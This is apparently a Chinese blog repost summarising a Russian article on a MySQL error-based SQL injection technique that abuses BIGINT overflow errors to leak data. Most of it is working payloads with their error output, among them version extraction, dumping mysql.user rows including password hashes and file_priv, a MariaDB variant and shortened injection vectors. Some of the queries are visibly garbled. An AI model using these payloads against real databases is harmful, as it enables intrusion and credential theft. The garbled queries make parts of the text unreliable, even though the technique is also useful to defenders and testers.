新型Mysql报错注入_MySQL
程序员文章站
2022-06-15 12:18:54
...
原文是俄文,不好做翻译,附上大概的内容:
这种报错注入主要基于Mysql数据类型溢出
- mysql > SELECT 18446744073709551610 * 2 ;
- ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'
- mysql > SELECT - 1 * 9223372036854775808 ;
- ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)'
- mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610, 18446744073709551610));
- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from Dual), 18446744073709551610.18446744073709551610))'
- mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);
- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))'
- // Узнаем имена колонок в таблице
- mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1)
- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1)
需要注意的是该方法并不适用于于老版的Mysql,除此之外你还需要了解错误信息的长度限制,因为这将决定你可以获取多长的信息:
- mysys / my_error.c
- /* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */
- #define ERRMSGSIZE (512)
如果对象是MariaDB(Mysql的一个分支),当你尝试上面的方法时,你可能会看到这样的报错信息:
- mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select #),18446744073709551610,18446744073709551610))'
作为解决方案,可以通过这种方式来解决这个问题:
- mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
- ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -(9223372036854775808))'
现在让我们看看能不能让我们的Vector更短一些
//查询数据库版本
- SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
- =
- select 1E308*if((select*from(select version())x),2,2)
- SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
- =
- select if(x,2,2)*1E308 from(select version()x)y
- SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)
- =
- select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)
- SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1)
- =
- select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)
- select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)
[1] [2] 下一页
上一篇: JS(JavaScript)中的继承——分析总结(附源码)
下一篇: PHP判断是否连接上网络的方法
推荐阅读
-
Linux连接mysql报错:Access denied for user ‘root’@‘localhost’(using password: YES)的解决
-
MySQL存储表情时报错:java.sql.SQLException: Incorrect string value:‘\xF0\x9F\x92\xA9\x0D
-
使用Mysql5.x以上版本出现报错#1929 Incorrect datetime value: '''' for column ''createtime''
-
mysql 导出数据报错: row must be in range 0-65535
-
MySQL存储表情时报错:java.sql.SQLException: Incorrect string value:‘\xF0\x9F\x92\xA9\x0D
-
关系型数据库管理系统RDBMS的特点、MySQL安装处理报错
-
远程连接mysql时连接不上并且报错(问题解决)
-
启动mysql的时候,报错pid的解决办法
-
解决大于5.7版本mysql的分组报错Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated
-
MySQL中遇到的几种报错及其解决方法